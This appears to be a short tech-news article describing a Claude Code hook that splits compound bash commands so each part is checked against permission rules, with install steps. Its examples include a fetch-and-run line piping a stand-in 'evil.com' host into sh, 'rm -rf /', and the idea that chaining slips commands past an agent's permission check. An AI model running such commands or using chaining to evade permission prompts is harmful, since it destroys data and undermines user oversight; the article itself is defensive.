Fix Claude Code's Permission Gap for Compound Commands with This Smart Hook

Fix Claude Code's Permission Gap for Compound Commands with This Smart Hook

Install the smart_approve.py hook to make Claude Code check each sub-command in compound bash statements (like &&, |, $()) against your allow/deny patterns.

9h ago·3 min read·6 views·via hn_claude_code
Share:

The Security Gap in Claude Code's Permission System

Claude Code's built-in permission system has a critical blind spot: it evaluates compound bash commands as single strings. If you allow Bash(git status:*), a command like git status && curl -s http://evil.com | sh will pass through unchecked because the entire string matches your git status* pattern. The dangerous curl and sh sub-commands slip through.

This isn't just theoretical—it's a real security risk when Claude Code autonomously executes commands. The system treats &&, ||, ;, |, $(), and newlines as invisible glue, not command separators.

The Smart PreToolUse Hook Solution

Developer liberzon created smart_approve.py, a PreToolUse hook that decomposes compound commands before Claude Code evaluates them. Here's what it does:

  1. Splits intelligently: Breaks git status && curl -s http://evil.com | sh into:

    • git status
    • curl -s http://evil.com
    • sh
  2. Normalizes each sub-command:

    • Strips env var prefixes (EDITOR=vim git commitgit commit)
    • Removes I/O redirections (ls > out.txt 2>&1ls)
    • Collapses continuations (ls \\ -lals -la)
    • Filters structural keywords (do, done, then, else, etc.)
  3. Recursively handles subshells: Extracts and checks commands inside $() and backticks, even when nested.

  4. Respects your existing settings: Uses the same permissions.allow and permissions.deny patterns from your settings.json files—no new syntax to learn.

Installation in 2 Minutes

# 1. Download the hook
curl -fsSL -o ~/.claude/hooks/smart_approve.py \
  https://raw.githubusercontent.com/liberzon/claude-hooks/main/smart_approve.py

Then edit ~/.claude/settings.json (or your project's .claude/settings.json):

{
  "hooks": {
    "PreToolUse": [
      {
        "matcher": "Bash",
        "hooks": [
          {
            "type": "command",
            "command": "python3 ~/.claude/hooks/smart_approve.py"
          }
        ]
      }
    ]
  }
}

The hook runs automatically on every Bash tool call. If any sub-command doesn't match an allow pattern (or matches a deny pattern), Claude Code shows the normal permission prompt—you decide.

Why This Matters for Your Workflow

Without this hook, you're forced into an impossible choice: either allow broad patterns that create security risks, or constantly interrupt Claude Code with prompts for safe compound commands. This hook gives you granular security without sacrificing automation.

For example, you can safely allow git status:* knowing that git status && rm -rf / will still trigger a prompt for the rm portion. Your existing deny patterns for rm, curl | sh, wget, etc. now work as intended.

The hook loads permission patterns from all settings layers:

  • ~/.claude/settings.json (global)
  • $CLAUDE_PROJECT_DIR/.claude/settings.json (project, committed)
  • $CLAUDE_PROJECT_DIR/.claude/settings.local.json (project, gitignored)

So your project-specific restrictions remain in effect.

When You'll Notice the Difference

You'll see permission prompts for commands that previously slipped through:

  • Pipeline chains: find . -name "*.tmp" | xargs rm
  • Conditional execution: test -f file.txt && process_it || echo "missing"
  • Command substitution: cd $(dirname $0)
  • Multi-line commands with backslash continuations

If all sub-commands match your allow patterns, execution proceeds silently—no performance penalty for safe commands.

Limitations to Know

The hook only processes Bash tool calls. Other tool types (Python, Node, etc.) use their own permission systems. Also, extremely complex bash with deep nesting might have edge cases, though the recursive subshell handling covers most real-world usage.

For maximum security, combine this hook with restrictive allow patterns rather than permissive ones with deny lists. The principle of least privilege still applies.

AI Analysis

Claude Code users should install this hook immediately—it fixes a security vulnerability in the permission system that affects anyone using compound bash commands. The risk isn't just theoretical; Claude Code could autonomously execute dangerous commands that slip through pattern matching. Change your workflow: After installing, audit your `permissions.allow` patterns. You can now safely narrow patterns like `git *` to specific subcommands (`git status:*`, `git log:*`, `git diff:*`) knowing that `git status && rm -rf .` will still prompt for the `rm` portion. The hook makes fine-grained permissions practical. Test the installation by asking Claude Code to run `echo 'safe' && echo 'test'`. If both `echo` commands are in your allow patterns, it should execute immediately. If not, you'll get a prompt. This gives you confidence that the decomposition is working before relying on it for security-critical operations.
Original sourcegithub.com

Trending Now